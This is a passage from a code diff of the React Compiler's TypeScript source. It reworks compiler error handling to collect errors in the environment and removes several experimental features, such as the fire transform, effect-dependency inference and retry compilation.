validateUseMemo(hir).unwrap();
|
||||
validateUseMemo(hir);
|
||||
|
||||
if (
|
||||
env.enableDropManualMemoization &&
|
||||
!env.config.enablePreserveExistingManualUseMemo &&
|
||||
!env.config.disableMemoizationForDebugging &&
|
||||
!env.config.enableChangeDetectionForDebugging
|
||||
) {
|
||||
dropManualMemoization(hir).unwrap();
|
||||
if (env.enableDropManualMemoization) {
|
||||
dropManualMemoization(hir);
|
||||
log({kind: 'hir', name: 'DropManualMemoization', value: hir});
|
||||
}
|
||||
|
||||
@@ -208,35 +197,21 @@ function runWithEnvironment(
|
||||
|
||||
if (env.enableValidations) {
|
||||
if (env.config.validateHooksUsage) {
|
||||
validateHooksUsage(hir).unwrap();
|
||||
validateHooksUsage(hir);
|
||||
}
|
||||
if (env.config.validateNoCapitalizedCalls) {
|
||||
validateNoCapitalizedCalls(hir).unwrap();
|
||||
validateNoCapitalizedCalls(hir);
|
||||
}
|
||||
}
|
||||
|
||||
if (env.config.enableFire) {
|
||||
transformFire(hir);
|
||||
log({kind: 'hir', name: 'TransformFire', value: hir});
|
||||
}
|
||||
|
||||
if (env.config.lowerContextAccess) {
|
||||
lowerContextAccess(hir, env.config.lowerContextAccess);
|
||||
}
|
||||
|
||||
optimizePropsMethodCalls(hir);
|
||||
log({kind: 'hir', name: 'OptimizePropsMethodCalls', value: hir});
|
||||
|
||||
analyseFunctions(hir);
|
||||
log({kind: 'hir', name: 'AnalyseFunctions', value: hir});
|
||||
|
||||
const mutabilityAliasingErrors = inferMutationAliasingEffects(hir);
|
||||
inferMutationAliasingEffects(hir);
|
||||
log({kind: 'hir', name: 'InferMutationAliasingEffects', value: hir});
|
||||
if (env.enableValidations) {
|
||||
if (mutabilityAliasingErrors.isErr()) {
|
||||
throw mutabilityAliasingErrors.unwrapErr();
|
||||
}
|
||||
}
|
||||
|
||||
if (env.outputMode === 'ssr') {
|
||||
optimizeForSSR(hir);
|
||||
@@ -246,37 +221,26 @@ function runWithEnvironment(
|
||||
// Note: Has to come after infer reference effects because "dead" code may still affect inference
|
||||
deadCodeElimination(hir);
|
||||
log({kind: 'hir', name: 'DeadCodeElimination', value: hir});
|
||||
|
||||
if (env.config.enableInstructionReordering) {
|
||||
instructionReordering(hir);
|
||||
log({kind: 'hir', name: 'InstructionReordering', value: hir});
|
||||
}
|
||||
|
||||
pruneMaybeThrows(hir);
|
||||
log({kind: 'hir', name: 'PruneMaybeThrows', value: hir});
|
||||
|
||||
const mutabilityAliasingRangeErrors = inferMutationAliasingRanges(hir, {
|
||||
inferMutationAliasingRanges(hir, {
|
||||
isFunctionExpression: false,
|
||||
});
|
||||
log({kind: 'hir', name: 'InferMutationAliasingRanges', value: hir});
|
||||
if (env.enableValidations) {
|
||||
if (mutabilityAliasingRangeErrors.isErr()) {
|
||||
throw mutabilityAliasingRangeErrors.unwrapErr();
|
||||
}
|
||||
validateLocalsNotReassignedAfterRender(hir);
|
||||
}
|
||||
|
||||
if (env.enableValidations) {
|
||||
if (env.config.assertValidMutableRanges) {
|
||||
assertValidMutableRanges(hir);
|
||||
}
|
||||
|
||||
if (env.config.validateRefAccessDuringRender) {
|
||||
validateNoRefAccessInRender(hir).unwrap();
|
||||
validateNoRefAccessInRender(hir);
|
||||
}
|
||||
|
||||
if (env.config.validateNoSetStateInRender) {
|
||||
validateNoSetStateInRender(hir).unwrap();
|
||||
validateNoSetStateInRender(hir);
|
||||
}
|
||||
|
||||
if (
|
||||
@@ -296,11 +260,7 @@ function runWithEnvironment(
|
||||
env.logErrors(validateNoJSXInTryStatement(hir));
|
||||
}
|
||||
|
||||
if (env.config.validateNoImpureFunctionsInRender) {
|
||||
validateNoImpureFunctionsInRender(hir).unwrap();
|
||||
}
|
||||
|
||||
validateNoFreezingKnownMutableFunctions(hir).unwrap();
|
||||
validateNoFreezingKnownMutableFunctions(hir);
|
||||
}
|
||||
|
||||
inferReactivePlaces(hir);
|
||||
@@ -312,7 +272,7 @@ function runWithEnvironment(
|
||||
env.config.validateExhaustiveEffectDependencies
|
||||
) {
|
||||
// NOTE: this relies on reactivity inference running first
|
||||
validateExhaustiveDependencies(hir).unwrap();
|
||||
validateExhaustiveDependencies(hir);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -426,6 +386,7 @@ function runWithEnvironment(
|
||||
});
|
||||
assertTerminalSuccessorsExist(hir);
|
||||
assertTerminalPredsExist(hir);
|
||||
|
||||
propagateScopeDependenciesHIR(hir);
|
||||
log({
|
||||
kind: 'hir',
|
||||
@@ -433,24 +394,6 @@ function runWithEnvironment(
|
||||
value: hir,
|
||||
});
|
||||
|
||||
if (env.config.inferEffectDependencies) {
|
||||
inferEffectDependencies(hir);
|
||||
log({
|
||||
kind: 'hir',
|
||||
name: 'InferEffectDependencies',
|
||||
value: hir,
|
||||
});
|
||||
}
|
||||
|
||||
if (env.config.inlineJsxTransform) {
|
||||
inlineJsxTransform(hir, env.config.inlineJsxTransform);
|
||||
log({
|
||||
kind: 'hir',
|
||||
name: 'inlineJsxTransform',
|
||||
value: hir,
|
||||
});
|
||||
}
|
||||
|
||||
const reactiveFunction = buildReactiveFunction(hir);
|
||||
log({
|
||||
kind: 'reactive',
|
||||
@@ -503,15 +446,6 @@ function runWithEnvironment(
|
||||
value: reactiveFunction,
|
||||
});
|
||||
|
||||
if (env.config.enableChangeDetectionForDebugging != null) {
|
||||
pruneInitializationDependencies(reactiveFunction);
|
||||
log({
|
||||
kind: 'reactive',
|
||||
name: 'PruneInitializationDependencies',
|
||||
value: reactiveFunction,
|
||||
});
|
||||
}
|
||||
|
||||
propagateEarlyReturns(reactiveFunction);
|
||||
log({
|
||||
kind: 'reactive',
|
||||
@@ -561,28 +495,24 @@ function runWithEnvironment(
|
||||
value: reactiveFunction,
|
||||
});
|
||||
|
||||
if (env.config.validateMemoizedEffectDependencies) {
|
||||
validateMemoizedEffectDependencies(reactiveFunction).unwrap();
|
||||
}
|
||||
|
||||
if (
|
||||
env.config.enablePreserveExistingMemoizationGuarantees ||
|
||||
env.config.validatePreserveExistingMemoizationGuarantees
|
||||
) {
|
||||
validatePreservedManualMemoization(reactiveFunction).unwrap();
|
||||
validatePreservedManualMemoization(reactiveFunction);
|
||||
}
|
||||
|
||||
const ast = codegenFunction(reactiveFunction, {
|
||||
uniqueIdentifiers,
|
||||
fbtOperands,
|
||||
}).unwrap();
|
||||
});
|
||||
log({kind: 'ast', name: 'Codegen', value: ast});
|
||||
for (const outlined of ast.outlined) {
|
||||
log({kind: 'ast', name: 'Codegen (outlined)', value: outlined.fn});
|
||||
}
|
||||
|
||||
if (env.config.validateSourceLocations) {
|
||||
validateSourceLocations(func, ast).unwrap();
|
||||
validateSourceLocations(func, ast, env);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -594,7 +524,10 @@ function runWithEnvironment(
|
||||
throw new Error('unexpected error');
|
||||
}
|
||||
|
||||
return ast;
|
||||
if (env.hasErrors()) {
|
||||
return Err(env.aggregateErrors());
|
||||
}
|
||||
return Ok(ast);
|
||||
}
|
||||
|
||||
export function compileFn(
|
||||
@@ -608,7 +541,7 @@ export function compileFn(
|
||||
logger: Logger | null,
|
||||
filename: string | null,
|
||||
code: string | null,
|
||||
): CodegenFunction {
|
||||
): Result<CodegenFunction, CompilerError> {
|
||||
return run(
|
||||
func,
|
||||
config,
|
||||
|
||||
@@ -315,13 +315,7 @@ function insertNewOutlinedFunctionNode(
|
||||
CompilerError.invariant(insertedFuncDecl.isFunctionDeclaration(), {
|
||||
reason: 'Expected inserted function declaration',
|
||||
description: `Got: ${insertedFuncDecl}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: insertedFuncDecl.node?.loc ?? null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: insertedFuncDecl.node?.loc ?? GeneratedSource,
|
||||
});
|
||||
return insertedFuncDecl;
|
||||
}
|
||||
@@ -356,10 +350,6 @@ function isFilePartOfSources(
|
||||
return false;
|
||||
}
|
||||
|
||||
export type CompileProgramMetadata = {
|
||||
retryErrors: Array<{fn: BabelFn; error: CompilerError}>;
|
||||
inferredEffectLocations: Set<t.SourceLocation>;
|
||||
};
|
||||
/**
|
||||
* Main entrypoint for React Compiler.
|
||||
*
|
||||
@@ -370,7 +360,7 @@ export type CompileProgramMetadata = {
|
||||
export function compileProgram(
|
||||
program: NodePath<t.Program>,
|
||||
pass: CompilerPass,
|
||||
): CompileProgramMetadata | null {
|
||||
): void {
|
||||
/**
|
||||
* This is directly invoked by the react-compiler babel plugin, so exceptions
|
||||
* thrown by this function will fail the babel build.
|
||||
@@ -383,7 +373,7 @@ export function compileProgram(
|
||||
* the outlined functions.
|
||||
*/
|
||||
if (shouldSkipCompilation(program, pass)) {
|
||||
return null;
|
||||
return;
|
||||
}
|
||||
const restrictedImportsErr = validateRestrictedImports(
|
||||
program,
|
||||
@@ -391,7 +381,7 @@ export function compileProgram(
|
||||
);
|
||||
if (restrictedImportsErr) {
|
||||
handleError(restrictedImportsErr, pass, null);
|
||||
return null;
|
||||
return;
|
||||
}
|
||||
/*
|
||||
* Record lint errors and critical errors as depending on Forget's config,
|
||||
@@ -446,14 +436,7 @@ export function compileProgram(
|
||||
for (const outlined of compiled.outlined) {
|
||||
CompilerError.invariant(outlined.fn.outlined.length === 0, {
|
||||
reason: 'Unexpected nested outlined functions',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: outlined.fn.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: outlined.fn.loc,
|
||||
});
|
||||
const fn = insertNewOutlinedFunctionNode(
|
||||
program,
|
||||
@@ -492,16 +475,11 @@ export function compileProgram(
|
||||
);
|
||||
handleError(error, programContext, null);
|
||||
}
|
||||
return null;
|
||||
return;
|
||||
}
|
||||
|
||||
// Insert React Compiler generated functions into the Babel AST
|
||||
applyCompiledFunctions(program, compiledFns, pass, programContext);
|
||||
|
||||
return {
|
||||
retryErrors: programContext.retryErrors,
|
||||
inferredEffectLocations: programContext.inferredEffectLocations,
|
||||
};
|
||||
}
|
||||
|
||||
type CompileSource = {
|
||||
@@ -531,10 +509,6 @@ function findFunctionsToCompile(
|
||||
|
||||
const fnType = getReactFunctionType(fn, pass);
|
||||
|
||||
if (pass.opts.environment.validateNoDynamicallyCreatedComponentsOrHooks) {
|
||||
validateNoDynamicallyCreatedComponentsOrHooks(fn, pass, programContext);
|
||||
}
|
||||
|
||||
if (fnType === null || programContext.alreadyCompiled.has(fn.node)) {
|
||||
return;
|
||||
}
|
||||
@@ -646,15 +620,7 @@ function processFn(
|
||||
} else {
|
||||
handleError(compileResult.error, programContext, fn.node.loc ?? null);
|
||||
}
|
||||
if (outputMode === 'client') {
|
||||
const retryResult = retryCompileFunction(fn, fnType, programContext);
|
||||
if (retryResult == null) {
|
||||
return null;
|
||||
}
|
||||
compiledFn = retryResult;
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
return null;
|
||||
} else {
|
||||
compiledFn = compileResult.compiledFn;
|
||||
}
|
||||
@@ -691,16 +657,6 @@ function processFn(
|
||||
if (programContext.hasModuleScopeOptOut) {
|
||||
return null;
|
||||
} else if (programContext.opts.outputMode === 'lint') {
|
||||
/**
|
||||
* inferEffectDependencies + noEmit is currently only used for linting. In
|
||||
* this mode, add source locations for where the compiler *can* infer effect
|
||||
* dependencies.
|
||||
*/
|
||||
for (const loc of compiledFn.inferredEffectLocations) {
|
||||
if (loc !== GeneratedSource) {
|
||||
programContext.inferredEffectLocations.add(loc);
|
||||
}
|
||||
}
|
||||
return null;
|
||||
} else if (
|
||||
programContext.opts.compilationMode === 'annotation' &&
|
||||
@@ -741,67 +697,37 @@ function tryCompileFunction(
|
||||
}
|
||||
|
||||
try {
|
||||
return {
|
||||
kind: 'compile',
|
||||
compiledFn: compileFn(
|
||||
fn,
|
||||
programContext.opts.environment,
|
||||
fnType,
|
||||
outputMode,
|
||||
programContext,
|
||||
programContext.opts.logger,
|
||||
programContext.filename,
|
||||
programContext.code,
|
||||
),
|
||||
};
|
||||
} catch (err) {
|
||||
return {kind: 'error', error: err};
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* If non-memo feature flags are enabled, retry compilation with a more minimal
|
||||
* feature set.
|
||||
*
|
||||
* @returns a CodegenFunction if retry was successful
|
||||
*/
|
||||
function retryCompileFunction(
|
||||
fn: BabelFn,
|
||||
fnType: ReactFunctionType,
|
||||
programContext: ProgramContext,
|
||||
): CodegenFunction | null {
|
||||
const environment = programContext.opts.environment;
|
||||
if (
|
||||
!(environment.enableFire || environment.inferEffectDependencies != null)
|
||||
) {
|
||||
return null;
|
||||
}
|
||||
/**
|
||||
* Note that function suppressions are not checked in the retry pipeline, as
|
||||
* they only affect auto-memoization features.
|
||||
*/
|
||||
try {
|
||||
const retryResult = compileFn(
|
||||
const result = compileFn(
|
||||
fn,
|
||||
environment,
|
||||
programContext.opts.environment,
|
||||
fnType,
|
||||
'client-no-memo',
|
||||
outputMode,
|
||||
programContext,
|
||||
programContext.opts.logger,
|
||||
programContext.filename,
|
||||
programContext.code,
|
||||
);
|
||||
|
||||
if (!retryResult.hasFireRewrite && !retryResult.hasInferredEffect) {
|
||||
return null;
|
||||
if (result.isOk()) {
|
||||
return {kind: 'compile', compiledFn: result.unwrap()};
|
||||
} else {
|
||||
return {kind: 'error', error: result.unwrapErr()};
|
||||
}
|
||||
return retryResult;
|
||||
} catch (err) {
|
||||
// TODO: we might want to log error here, but this will also result in duplicate logging
|
||||
if (err instanceof CompilerError) {
|
||||
programContext.retryErrors.push({fn, error: err});
|
||||
/**
|
||||
* A pass incorrectly threw instead of recording the error.
|
||||
* Log for detection in development.
|
||||
*/
|
||||
if (
|
||||
err instanceof CompilerError &&
|
||||
err.details.every(detail => detail.category !== ErrorCategory.Invariant)
|
||||
) {
|
||||
programContext.logEvent({
|
||||
kind: 'CompileUnexpectedThrow',
|
||||
fnLoc: fn.node.loc ?? null,
|
||||
data: err.toString(),
|
||||
});
|
||||
}
|
||||
return null;
|
||||
return {kind: 'error', error: err};
|
||||
}
|
||||
}
|
||||
|
||||
@@ -889,84 +815,17 @@ function shouldSkipCompilation(
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates that Components/Hooks are always defined at module level. This prevents scope reference
|
||||
* errors that occur when the compiler attempts to optimize the nested component/hook while its
|
||||
* parent function remains uncompiled.
|
||||
*/
|
||||
function validateNoDynamicallyCreatedComponentsOrHooks(
|
||||
fn: BabelFn,
|
||||
pass: CompilerPass,
|
||||
programContext: ProgramContext,
|
||||
): void {
|
||||
const parentNameExpr = getFunctionName(fn);
|
||||
const parentName =
|
||||
parentNameExpr !== null && parentNameExpr.isIdentifier()
|
||||
? parentNameExpr.node.name
|
||||
: '<anonymous>';
|
||||
|
||||
const validateNestedFunction = (
|
||||
nestedFn: NodePath<
|
||||
t.FunctionDeclaration | t.FunctionExpression | t.ArrowFunctionExpression
|
||||
>,
|
||||
): void => {
|
||||
if (
|
||||
nestedFn.node === fn.node ||
|
||||
programContext.alreadyCompiled.has(nestedFn.node)
|
||||
) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (nestedFn.scope.getProgramParent() !== nestedFn.scope.parent) {
|
||||
const nestedFnType = getReactFunctionType(nestedFn as BabelFn, pass);
|
||||
const nestedFnNameExpr = getFunctionName(nestedFn as BabelFn);
|
||||
const nestedName =
|
||||
nestedFnNameExpr !== null && nestedFnNameExpr.isIdentifier()
|
||||
? nestedFnNameExpr.node.name
|
||||
: '<anonymous>';
|
||||
if (nestedFnType === 'Component' || nestedFnType === 'Hook') {
|
||||
CompilerError.throwDiagnostic({
|
||||
category: ErrorCategory.Factories,
|
||||
reason: `Components and hooks cannot be created dynamically`,
|
||||
description: `The function \`${nestedName}\` appears to be a React ${nestedFnType.toLowerCase()}, but it's defined inside \`${parentName}\`. Components and Hooks should always be declared at module scope`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
message: 'this function dynamically created a component/hook',
|
||||
loc: parentNameExpr?.node.loc ?? fn.node.loc ?? null,
|
||||
},
|
||||
{
|
||||
kind: 'error',
|
||||
message: 'the component is created here',
|
||||
loc: nestedFnNameExpr?.node.loc ?? nestedFn.node.loc ?? null,
|
||||
},
|
||||
],
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
nestedFn.skip();
|
||||
};
|
||||
|
||||
fn.traverse({
|
||||
FunctionDeclaration: validateNestedFunction,
|
||||
FunctionExpression: validateNestedFunction,
|
||||
ArrowFunctionExpression: validateNestedFunction,
|
||||
});
|
||||
}
|
||||
|
||||
function getReactFunctionType(
|
||||
fn: BabelFn,
|
||||
pass: CompilerPass,
|
||||
): ReactFunctionType | null {
|
||||
const hookPattern = pass.opts.environment.hookPattern;
|
||||
if (fn.node.body.type === 'BlockStatement') {
|
||||
const optInDirectives = tryFindDirectiveEnablingMemoization(
|
||||
fn.node.body.directives,
|
||||
pass.opts,
|
||||
);
|
||||
if (optInDirectives.unwrapOr(null) != null) {
|
||||
return getComponentOrHookLike(fn, hookPattern) ?? 'Other';
|
||||
return getComponentOrHookLike(fn) ?? 'Other';
|
||||
}
|
||||
}
|
||||
|
||||
@@ -987,13 +846,13 @@ function getReactFunctionType(
|
||||
}
|
||||
case 'infer': {
|
||||
// Check if this is a component or hook-like function
|
||||
return componentSyntaxType ?? getComponentOrHookLike(fn, hookPattern);
|
||||
return componentSyntaxType ?? getComponentOrHookLike(fn);
|
||||
}
|
||||
case 'syntax': {
|
||||
return componentSyntaxType;
|
||||
}
|
||||
case 'all': {
|
||||
return getComponentOrHookLike(fn, hookPattern) ?? 'Other';
|
||||
return getComponentOrHookLike(fn) ?? 'Other';
|
||||
}
|
||||
default: {
|
||||
assertExhaustive(
|
||||
@@ -1035,10 +894,7 @@ function hasMemoCacheFunctionImport(
|
||||
return hasUseMemoCache;
|
||||
}
|
||||
|
||||
function isHookName(s: string, hookPattern: string | null): boolean {
|
||||
if (hookPattern !== null) {
|
||||
return new RegExp(hookPattern).test(s);
|
||||
}
|
||||
function isHookName(s: string): boolean {
|
||||
return /^use[A-Z0-9]/.test(s);
|
||||
}
|
||||
|
||||
@@ -1047,16 +903,13 @@ function isHookName(s: string, hookPattern: string | null): boolean {
|
||||
* containing a hook name.
|
||||
*/
|
||||
|
||||
function isHook(
|
||||
path: NodePath<t.Expression | t.PrivateName>,
|
||||
hookPattern: string | null,
|
||||
): boolean {
|
||||
function isHook(path: NodePath<t.Expression | t.PrivateName>): boolean {
|
||||
if (path.isIdentifier()) {
|
||||
return isHookName(path.node.name, hookPattern);
|
||||
return isHookName(path.node.name);
|
||||
} else if (
|
||||
path.isMemberExpression() &&
|
||||
!path.node.computed &&
|
||||
isHook(path.get('property'), hookPattern)
|
||||
isHook(path.get('property'))
|
||||
) {
|
||||
const obj = path.get('object').node;
|
||||
const isPascalCaseNameSpace = /^[A-Z].*/;
|
||||
@@ -1197,19 +1050,18 @@ function getComponentOrHookLike(
|
||||
node: NodePath<
|
||||
t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
|
||||
>,
|
||||
hookPattern: string | null,
|
||||
): ReactFunctionType | null {
|
||||
const functionName = getFunctionName(node);
|
||||
// Check if the name is component or hook like:
|
||||
if (functionName !== null && isComponentName(functionName)) {
|
||||
let isComponent =
|
||||
callsHooksOrCreatesJsx(node, hookPattern) &&
|
||||
callsHooksOrCreatesJsx(node) &&
|
||||
isValidComponentParams(node.get('params')) &&
|
||||
!returnsNonNode(node);
|
||||
return isComponent ? 'Component' : null;
|
||||
} else if (functionName !== null && isHook(functionName, hookPattern)) {
|
||||
} else if (functionName !== null && isHook(functionName)) {
|
||||
// Hooks have hook invocations or JSX, but can take any # of arguments
|
||||
return callsHooksOrCreatesJsx(node, hookPattern) ? 'Hook' : null;
|
||||
return callsHooksOrCreatesJsx(node) ? 'Hook' : null;
|
||||
}
|
||||
|
||||
/*
|
||||
@@ -1219,7 +1071,7 @@ function getComponentOrHookLike(
|
||||
if (node.isFunctionExpression() || node.isArrowFunctionExpression()) {
|
||||
if (isForwardRefCallback(node) || isMemoCallback(node)) {
|
||||
// As an added check we also look for hook invocations or JSX
|
||||
return callsHooksOrCreatesJsx(node, hookPattern) ? 'Component' : null;
|
||||
return callsHooksOrCreatesJsx(node) ? 'Component' : null;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
@@ -1245,7 +1097,6 @@ function callsHooksOrCreatesJsx(
|
||||
node: NodePath<
|
||||
t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
|
||||
>,
|
||||
hookPattern: string | null,
|
||||
): boolean {
|
||||
let invokesHooks = false;
|
||||
let createsJsx = false;
|
||||
@@ -1256,7 +1107,7 @@ function callsHooksOrCreatesJsx(
|
||||
},
|
||||
CallExpression(call) {
|
||||
const callee = call.get('callee');
|
||||
if (callee.isExpression() && isHook(callee, hookPattern)) {
|
||||
if (callee.isExpression() && isHook(callee)) {
|
||||
invokesHooks = true;
|
||||
}
|
||||
},
|
||||
@@ -1451,15 +1302,7 @@ export function getReactCompilerRuntimeModule(
|
||||
typeof target.runtimeModule === 'string',
|
||||
{
|
||||
reason: 'Expected target to already be validated',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
},
|
||||
);
|
||||
return target.runtimeModule;
|
||||
|
||||
@@ -163,14 +163,7 @@ export function suppressionsToCompilerError(
|
||||
): CompilerError {
|
||||
CompilerError.invariant(suppressionRanges.length !== 0, {
|
||||
reason: `Expected at least suppression comment source range`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
const error = new CompilerError();
|
||||
for (const suppressionRange of suppressionRanges) {
|
||||
|
||||
@@ -1,341 +0,0 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*/
|
||||
|
||||
import {NodePath} from '@babel/core';
|
||||
import * as t from '@babel/types';
|
||||
|
||||
import {CompilerError, EnvironmentConfig, Logger} from '..';
|
||||
import {getOrInsertWith} from '../Utils/utils';
|
||||
import {Environment, GeneratedSource} from '../HIR';
|
||||
import {DEFAULT_EXPORT} from '../HIR/Environment';
|
||||
import {CompileProgramMetadata} from './Program';
|
||||
import {
|
||||
CompilerDiagnostic,
|
||||
CompilerDiagnosticOptions,
|
||||
ErrorCategory,
|
||||
} from '../CompilerError';
|
||||
|
||||
function throwInvalidReact(
|
||||
options: CompilerDiagnosticOptions,
|
||||
{logger, filename}: TraversalState,
|
||||
): never {
|
||||
logger?.logEvent(filename, {
|
||||
kind: 'CompileError',
|
||||
fnLoc: null,
|
||||
detail: new CompilerDiagnostic(options),
|
||||
});
|
||||
CompilerError.throwDiagnostic(options);
|
||||
}
|
||||
|
||||
function isAutodepsSigil(
|
||||
arg: NodePath<t.ArgumentPlaceholder | t.SpreadElement | t.Expression>,
|
||||
): boolean {
|
||||
// Check for AUTODEPS identifier imported from React
|
||||
if (arg.isIdentifier() && arg.node.name === 'AUTODEPS') {
|
||||
const binding = arg.scope.getBinding(arg.node.name);
|
||||
if (binding && binding.path.isImportSpecifier()) {
|
||||
const importSpecifier = binding.path.node as t.ImportSpecifier;
|
||||
if (importSpecifier.imported.type === 'Identifier') {
|
||||
return (importSpecifier.imported as t.Identifier).name === 'AUTODEPS';
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check for React.AUTODEPS member expression
|
||||
if (arg.isMemberExpression() && !arg.node.computed) {
|
||||
const object = arg.get('object');
|
||||
const property = arg.get('property');
|
||||
|
||||
if (
|
||||
object.isIdentifier() &&
|
||||
object.node.name === 'React' &&
|
||||
property.isIdentifier() &&
|
||||
property.node.name === 'AUTODEPS'
|
||||
) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
function assertValidEffectImportReference(
|
||||
autodepsIndex: number,
|
||||
paths: Array<NodePath<t.Node>>,
|
||||
context: TraversalState,
|
||||
): void {
|
||||
for (const path of paths) {
|
||||
const parent = path.parentPath;
|
||||
if (parent != null && parent.isCallExpression()) {
|
||||
const args = parent.get('arguments');
|
||||
const maybeCalleeLoc = path.node.loc;
|
||||
const hasInferredEffect =
|
||||
maybeCalleeLoc != null &&
|
||||
context.inferredEffectLocations.has(maybeCalleeLoc);
|
||||
/**
|
||||
* Error on effect calls that still have AUTODEPS in their args
|
||||
*/
|
||||
const hasAutodepsArg = args.some(isAutodepsSigil);
|
||||
if (hasAutodepsArg && !hasInferredEffect) {
|
||||
const maybeErrorDiagnostic = matchCompilerDiagnostic(
|
||||
path,
|
||||
context.transformErrors,
|
||||
);
|
||||
/**
|
||||
* Note that we cannot easily check the type of the first argument here,
|
||||
* as it may have already been transformed by the compiler (and not
|
||||
* memoized).
|
||||
*/
|
||||
throwInvalidReact(
|
||||
{
|
||||
category: ErrorCategory.AutomaticEffectDependencies,
|
||||
reason:
|
||||
'Cannot infer dependencies of this effect. This will break your build!',
|
||||
description:
|
||||
'To resolve, either pass a dependency array or fix reported compiler bailout diagnostics' +
|
||||
(maybeErrorDiagnostic ? ` ${maybeErrorDiagnostic}` : ''),
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
message: 'Cannot infer dependencies',
|
||||
loc: parent.node.loc ?? GeneratedSource,
|
||||
},
|
||||
],
|
||||
},
|
||||
context,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function assertValidFireImportReference(
|
||||
paths: Array<NodePath<t.Node>>,
|
||||
context: TraversalState,
|
||||
): void {
|
||||
if (paths.length > 0) {
|
||||
const maybeErrorDiagnostic = matchCompilerDiagnostic(
|
||||
paths[0],
|
||||
context.transformErrors,
|
||||
);
|
||||
throwInvalidReact(
|
||||
{
|
||||
category: ErrorCategory.Fire,
|
||||
reason: '[Fire] Untransformed reference to compiler-required feature.',
|
||||
description:
|
||||
'Either remove this `fire` call or ensure it is successfully transformed by the compiler' +
|
||||
(maybeErrorDiagnostic != null ? ` ${maybeErrorDiagnostic}` : ''),
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
message: 'Untransformed `fire` call',
|
||||
loc: paths[0].node.loc ?? GeneratedSource,
|
||||
},
|
||||
],
|
||||
},
|
||||
context,
|
||||
);
|
||||
}
|
||||
}
|
||||
export default function validateNoUntransformedReferences(
|
||||
path: NodePath<t.Program>,
|
||||
filename: string | null,
|
||||
logger: Logger | null,
|
||||
env: EnvironmentConfig,
|
||||
compileResult: CompileProgramMetadata | null,
|
||||
): void {
|
||||
const moduleLoadChecks = new Map<
|
||||
string,
|
||||
Map<string, CheckInvalidReferenceFn>
|
||||
>();
|
||||
if (env.enableFire) {
|
||||
/**
|
||||
* Error on any untransformed references to `fire` (e.g. including non-call
|
||||
* expressions)
|
||||
*/
|
||||
for (const module of Environment.knownReactModules) {
|
||||
const react = getOrInsertWith(moduleLoadChecks, module, () => new Map());
|
||||
react.set('fire', assertValidFireImportReference);
|
||||
}
|
||||
}
|
||||
if (env.inferEffectDependencies) {
|
||||
for (const {
|
||||
function: {source, importSpecifierName},
|
||||
autodepsIndex,
|
||||
} of env.inferEffectDependencies) {
|
||||
const module = getOrInsertWith(moduleLoadChecks, source, () => new Map());
|
||||
module.set(
|
||||
importSpecifierName,
|
||||
assertValidEffectImportReference.bind(null, autodepsIndex),
|
||||
);
|
||||
}
|
||||
}
|
||||
if (moduleLoadChecks.size > 0) {
|
||||
transformProgram(path, moduleLoadChecks, filename, logger, compileResult);
|
||||
}
|
||||
}
|
||||
|
||||
type TraversalState = {
|
||||
shouldInvalidateScopes: boolean;
|
||||
program: NodePath<t.Program>;
|
||||
logger: Logger | null;
|
||||
filename: string | null;
|
||||
transformErrors: Array<{fn: NodePath<t.Node>; error: CompilerError}>;
|
||||
inferredEffectLocations: Set<t.SourceLocation>;
|
||||
};
|
||||
type CheckInvalidReferenceFn = (
|
||||
paths: Array<NodePath<t.Node>>,
|
||||
context: TraversalState,
|
||||
) => void;
|
||||
|
||||
function validateImportSpecifier(
|
||||
specifier: NodePath<t.ImportSpecifier>,
|
||||
importSpecifierChecks: Map<string, CheckInvalidReferenceFn>,
|
||||
state: TraversalState,
|
||||
): void {
|
||||
const imported = specifier.get('imported');
|
||||
const specifierName: string =
|
||||
imported.node.type === 'Identifier'
|
||||
? imported.node.name
|
||||
: imported.node.value;
|
||||
const checkFn = importSpecifierChecks.get(specifierName);
|
||||
if (checkFn == null) {
|
||||
return;
|
||||
}
|
||||
if (state.shouldInvalidateScopes) {
|
||||
state.shouldInvalidateScopes = false;
|
||||
state.program.scope.crawl();
|
||||
}
|
||||
|
||||
const local = specifier.get('local');
|
||||
const binding = local.scope.getBinding(local.node.name);
|
||||
CompilerError.invariant(binding != null, {
|
||||
reason: 'Expected binding to be found for import specifier',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: local.node.loc ?? null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
});
|
||||
checkFn(binding.referencePaths, state);
|
||||
}
|
||||
|
||||
function validateNamespacedImport(
|
||||
specifier: NodePath<t.ImportNamespaceSpecifier | t.ImportDefaultSpecifier>,
|
||||
importSpecifierChecks: Map<string, CheckInvalidReferenceFn>,
|
||||
state: TraversalState,
|
||||
